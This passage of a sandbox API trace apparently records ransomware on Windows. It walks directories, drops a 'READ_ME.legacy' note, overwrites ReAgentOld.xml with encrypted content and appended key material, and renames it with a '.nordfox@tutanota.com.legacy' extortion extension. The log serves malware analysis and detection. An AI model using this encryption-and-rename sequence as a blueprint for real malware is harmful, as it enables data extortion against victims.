hHeap=0x520000, dwFlags=0x0, lpMem=0x553020 | out: hHeap=0x520000) returned 1 [0090.244] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20360 [0090.244] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20360 | out: hHeap=0x520000) returned 1 [0090.244] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0090.244] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672d8 | out: hHeap=0x520000) returned 1 [0090.245] FindNextFileW (in: hFindFile=0x552e20, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb8461630, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0090.245] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0090.245] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0090.245] GetLastError () returned 0x0 [0090.245] SetLastError (dwErrCode=0x0) [0090.245] GetLastError () returned 0x0 [0090.245] SetLastError (dwErrCode=0x0) [0090.245] GetLastError () returned 0x0 [0090.245] SetLastError (dwErrCode=0x0) [0090.245] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672d8 [0090.245] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d190 [0090.245] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0090.245] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0090.245] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x552c60 [0090.245] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552c60 | out: hHeap=0x520000) returned 1 [0090.246] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20150 [0090.246] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20150 | out: hHeap=0x520000) returned 1 [0090.246] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0090.246] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672d8 | out: hHeap=0x520000) returned 1 [0090.246] FindNextFileW (in: hFindFile=0x552e20, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8461630, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8461630, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8461630, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0090.246] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0090.246] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0090.246] GetLastError () returned 0x0 [0090.246] SetLastError (dwErrCode=0x0) [0090.246] GetLastError () returned 0x0 [0090.246] SetLastError (dwErrCode=0x0) [0090.246] GetLastError () returned 0x0 [0090.246] SetLastError (dwErrCode=0x0) [0090.246] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0090.246] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0090.246] FindNextFileW (in: hFindFile=0x552e20, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8461630, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8461630, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8461630, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0090.247] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0090.247] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0090.247] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5399a8 | out: hHeap=0x520000) returned 1 [0090.247] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539ac0 | out: hHeap=0x520000) returned 1 [0090.247] FindFirstFileW (in: lpFileName="\\Recovery\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb8900037, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x552c60 [0090.247] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0090.247] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0090.247] GetLastError () returned 0x12 [0090.250] SetLastError (dwErrCode=0x12) [0090.250] GetLastError () returned 0x12 [0090.250] SetLastError (dwErrCode=0x12) [0090.250] GetLastError () returned 0x12 [0090.250] SetLastError (dwErrCode=0x12) [0090.251] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672d8 [0090.251] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d190 [0090.251] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0090.251] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1b8 [0090.251] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x552ce0 [0090.251] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552ce0 | out: hHeap=0x520000) returned 1 [0090.251] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20258 [0090.251] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20258 | out: hHeap=0x520000) returned 1 [0090.251] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1b8 | out: hHeap=0x520000) returned 1 [0090.251] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672d8 | out: hHeap=0x520000) returned 1 [0090.251] FindNextFileW (in: hFindFile=0x552c60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb8900037, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0090.251] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0090.251] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0090.255] GetLastError () returned 0x12 [0090.256] SetLastError (dwErrCode=0x12) [0090.256] GetLastError () returned 0x12 [0090.256] SetLastError (dwErrCode=0x12) [0090.256] GetLastError () returned 0x12 [0090.256] SetLastError (dwErrCode=0x12) [0090.256] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672d8 [0090.256] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d088 [0090.256] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0090.256] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d410 [0090.256] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x552ce0 [0090.256] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552ce0 | out: hHeap=0x520000) returned 1 [0090.256] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20108 [0090.256] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20108 | out: hHeap=0x520000) returned 1 [0090.256] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d410 | out: hHeap=0x520000) returned 1 [0090.256] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672d8 | out: hHeap=0x520000) returned 1 [0090.256] FindNextFileW (in: hFindFile=0x552c60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x28e9c3a2, ftLastAccessTime.dwHighDateTime=0x1d32795, ftLastWriteTime.dwLowDateTime=0x28e9c3a2, ftLastWriteTime.dwHighDateTime=0x1d32795, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Logs", cAlternateFileName="")) returned 1 [0090.256] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0090.256] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0090.256] GetLastError () returned 0x12 [0090.256] SetLastError (dwErrCode=0x12) [0090.256] GetLastError () returned 0x12 [0090.256] SetLastError (dwErrCode=0x12) [0090.256] GetLastError () returned 0x12 [0090.256] SetLastError (dwErrCode=0x12) [0090.256] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d410 [0090.256] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1b8 [0090.256] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0090.256] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0090.257] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d250 [0090.257] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0090.257] GetLastError () returned 0x12 [0090.257] SetLastError (dwErrCode=0x12) [0090.257] GetLastError () returned 0x12 [0090.257] SetLastError (dwErrCode=0x12) [0090.257] GetLastError () returned 0x12 [0090.257] SetLastError (dwErrCode=0x12) [0090.257] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0090.257] CreateFileW (lpFileName="\\Recovery\\Logs\\READ_ME.legacy" (normalized: "c:\\recovery\\logs\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x468 [0090.257] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0090.257] WriteFile (in: hFile=0x468, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0090.258] CloseHandle (hObject=0x468) returned 1 [0090.258] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0090.258] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d250 | out: hHeap=0x520000) returned 1 [0090.258] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0090.258] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0090.258] FindNextFileW (in: hFindFile=0x552c60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb8900037, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8900037, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8900037, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0090.258] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0090.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0090.259] GetLastError () returned 0x0 [0090.259] SetLastError (dwErrCode=0x0) [0090.259] GetLastError () returned 0x0 [0090.259] SetLastError (dwErrCode=0x0) [0090.259] GetLastError () returned 0x0 [0090.259] SetLastError (dwErrCode=0x0) [0090.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0090.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0090.259] FindNextFileW (in: hFindFile=0x552c60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1044dfc5, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ReAgentOld.xml", cAlternateFileName="REAGEN~1.XML")) returned 1 [0090.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0090.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0090.259] GetLastError () returned 0x0 [0090.259] SetLastError (dwErrCode=0x0) [0090.259] GetLastError () returned 0x0 [0090.259] SetLastError (dwErrCode=0x0) [0090.259] GetLastError () returned 0x0 [0090.259] SetLastError (dwErrCode=0x0) [0090.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0090.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0090.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0090.259] FindNextFileW (in: hFindFile=0x552c60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1044dfc5, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ReAgentOld.xml", cAlternateFileName="REAGEN~1.XML")) returned 0 [0090.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0090.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584ca0 [0090.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0090.259] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584ca0 | out: pbBuffer=0x584ca0) returned 1 [0090.260] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0090.260] SetFileAttributesW (lpFileName="\\Recovery\\ReAgentOld.xml", dwFileAttributes=0x80) returned 1 [0090.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f50 [0090.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0090.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f50 | out: hHeap=0x520000) returned 1 [0090.260] CreateFileW (lpFileName="\\Recovery\\ReAgentOld.xml" (normalized: "c:\\recovery\\reagentold.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x468 [0090.260] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1006) returned 1 [0090.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3ee) returned 0x587f30 [0090.261] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3ee) returned 0x588328 [0090.261] ReadFile (in: hFile=0x468, lpBuffer=0x587f30, nNumberOfBytesToRead=0x3ee, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x587f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x3ee, lpOverlapped=0x0) returned 1 [0090.275] SetFilePointer (in: hFile=0x468, lDistanceToMove=-1006, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0090.275] WriteFile (in: hFile=0x468, lpBuffer=0x588328*, nNumberOfBytesToWrite=0x3ee, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x588328*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3ee, lpOverlapped=0x0) returned 1 [0090.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x587f30 | out: hHeap=0x520000) returned 1 [0090.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x588328 | out: hHeap=0x520000) returned 1 [0090.275] SetFilePointer (in: hFile=0x468, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3ee [0090.275] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0090.275] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0090.276] WriteFile (in: hFile=0x468, lpBuffer=0x584ca0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584ca0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0090.276] WriteFile (in: hFile=0x468, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0090.277] CloseHandle (hObject=0x468) returned 1 [0090.279] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584ca0 | out: hHeap=0x520000) returned 1 [0090.279] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0090.279] MoveFileExW (lpExistingFileName="\\Recovery\\ReAgentOld.xml" (normalized: "c:\\recovery\\reagentold.xml"), lpNewFileName="\\Recovery\\ReAgentOld.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\recovery\\reagentold.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0090.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0090.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0090.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0090.281] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x46) returned 0x569bf8 [0090.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a638 | out: hHeap=0x520000) returned 1 [0090.281] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0090.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0090.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539b38 | out: hHeap=0x520000) returned 1 [0090.281] FindFirstFileW (in: lpFileName="\\System Volume Information\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1044dfc5, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ReAgentOld.xml", cAlternateFileName="REAGEN~1.XML")) returned 0xffffffff [0090.281] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0090.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0090.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539610 | out: hHeap=0x520000) returned 1 [0090.282] FindFirstFileW (in: lpFileName="\\Users\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xb83f2d1f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb83f2d1f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x552ce0 [0090.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0090.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.282] GetLastError () returned 0x5 [0090.282] SetLastError (dwErrCode=0x5) [0090.282] GetLastError () returned 0x5 [0090.282] SetLastError (dwErrCode=0x5) [0090.282] GetLastError () returned 0x5 [0090.282] SetLastError (dwErrCode=0x5) [0090.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672d8 [0090.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d0e0 [0090.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0090.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0090.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x552e60 [0090.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552e60 | out: hHeap=0x520000) returned 1 [0090.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201f8 [0090.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201f8 | out: hHeap=0x520000) returned 1 [0090.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0090.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672d8 | out: hHeap=0x520000) returned 1 [0090.282] FindNextFileW (in: hFindFile=0x552ce0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xb83f2d1f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb83f2d1f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0090.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.283] GetLastError () returned 0x5 [0090.283] SetLastError (dwErrCode=0x5) [0090.283] GetLastError () returned 0x5 [0090.283] SetLastError (dwErrCode=0x5) [0090.283] GetLastError () returned 0x5 [0090.283] SetLastError (dwErrCode=0x5) [0090.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672d8 [0090.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d6b8 [0090.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0090.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0090.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x553160 [0090.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553160 | out: hHeap=0x520000) returned 1 [0090.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20270 [0090.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20270 | out: hHeap=0x520000) returned 1 [0090.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0090.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672d8 | out: hHeap=0x520000) returned 1 [0090.283] FindNextFileW (in: hFindFile=0x552ce0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xd7b844b1, ftCreationTime.dwHighDateTime=0x1d2a02f, ftLastAccessTime.dwLowDateTime=0xd7b844b1, ftLastAccessTime.dwHighDateTime=0x1d2a02f, ftLastWriteTime.dwLowDateTime=0xd7b844b1, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x728d443f, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0090.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0090.283] GetLastError () returned 0x5 [0090.283] SetLastError (dwErrCode=0x5) [0090.283] GetLastError () returned 0x5 [0090.283] SetLastError (dwErrCode=0x5) [0090.284] GetLastError () returned 0x5 [0090.284] SetLastError (dwErrCode=0x5) [0090.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0090.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571b58 [0090.284] HeapFree (in: 